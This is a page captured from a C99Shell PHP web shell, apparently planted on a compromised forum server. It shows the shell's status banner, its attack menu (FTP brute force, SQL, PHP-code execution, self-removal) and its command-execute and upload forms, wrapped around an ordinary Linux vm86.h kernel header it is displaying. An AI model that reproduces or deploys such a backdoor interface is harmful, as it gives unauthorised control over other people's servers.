!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/include/asm/   drwxr-xr-x
Free 11.28 GB of 97.11 GB (11.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     vm86.h (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef _LINUX_VM86_H
#define _LINUX_VM86_H

/*
 * I'm guessing at the VIF/VIP flag usage, but hope that this is how
 * the Pentium uses them. Linux will return from vm86 mode when both
 * VIF and VIP is set.
 *
 * On a Pentium, we could probably optimize the virtual flags directly
 * in the eflags register instead of doing it "by hand" in vflags...
 *
 * Linus
 */

#define TF_MASK        0x00000100
#define IF_MASK        0x00000200
#define IOPL_MASK    0x00003000
#define NT_MASK        0x00004000
#ifdef CONFIG_VM86
#define VM_MASK        0x00020000
#else
#define VM_MASK        0 /* ignored */
#endif
#define AC_MASK        0x00040000
#define VIF_MASK    0x00080000    /* virtual interrupt flag */
#define VIP_MASK    0x00100000    /* virtual interrupt pending */
#define ID_MASK        0x00200000

#define BIOSSEG        0x0f000

#define CPU_086        0
#define CPU_186        1
#define CPU_286        2
#define CPU_386        3
#define CPU_486        4
#define CPU_586        5

/*
 * Return values for the 'vm86()' system call
 */
#define VM86_TYPE(retval)    ((retval) & 0xff)
#define VM86_ARG(retval)    ((retval) >> 8)

#define VM86_SIGNAL    0    /* return due to signal */
#define VM86_UNKNOWN    1    /* unhandled GP fault - IO-instruction or similar */
#define VM86_INTx    2    /* int3/int x instruction (ARG = x) */
#define VM86_STI    3    /* sti/popf/iret instruction enabled virtual interrupts */

/*
 * Additional return values when invoking new vm86()
 */
#define VM86_PICRETURN    4    /* return due to pending PIC request */
#define VM86_TRAP    6    /* return due to DOS-debugger request */

/*
 * function codes when invoking new vm86()
 */
#define VM86_PLUS_INSTALL_CHECK    0
#define VM86_ENTER        1
#define VM86_ENTER_NO_BYPASS    2
#define    VM86_REQUEST_IRQ    3
#define VM86_FREE_IRQ        4
#define VM86_GET_IRQ_BITS    5
#define VM86_GET_AND_RESET_IRQ    6

/*
 * This is the stack-layout seen by the user space program when we have
 * done a translation of "SAVE_ALL" from vm86 mode. The real kernel layout
 * is 'kernel_vm86_regs' (see below).
 */

struct vm86_regs {
/*
 * normal regs, with special meaning for the segment descriptors..
 */
    long ebx;
    long ecx;
    long edx;
    long esi;
    long edi;
    long ebp;
    long eax;
    long __null_ds;
    long __null_es;
    long __null_fs;
    long __null_gs;
    long orig_eax;
    long eip;
    unsigned short cs, __csh;
    long eflags;
    long esp;
    unsigned short ss, __ssh;
/*
 * these are specific to v86 mode:
 */
    unsigned short es, __esh;
    unsigned short ds, __dsh;
    unsigned short fs, __fsh;
    unsigned short gs, __gsh;
};

struct revectored_struct {
    unsigned long __map[8];            /* 256 bits */
};

struct vm86_struct {
    struct vm86_regs regs;
    unsigned long flags;
    unsigned long screen_bitmap;
    unsigned long cpu_type;
    struct revectored_struct int_revectored;
    struct revectored_struct int21_revectored;
};

/*
 * flags masks
 */
#define VM86_SCREEN_BITMAP    0x0001

struct vm86plus_info_struct {
    unsigned long force_return_for_pic:1;
    unsigned long vm86dbg_active:1;       /* for debugger */
    unsigned long vm86dbg_TFpendig:1;     /* for debugger */
    unsigned long unused:28;
    unsigned long is_vm86pus:1;          /* for vm86 internal use */
    unsigned char vm86dbg_intxxtab[32];   /* for debugger */
};

struct vm86plus_struct {
    struct vm86_regs regs;
    unsigned long flags;
    unsigned long screen_bitmap;
    unsigned long cpu_type;
    struct revectored_struct int_revectored;
    struct revectored_struct int21_revectored;
    struct vm86plus_info_struct vm86plus;
};


#endif

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0102 ]--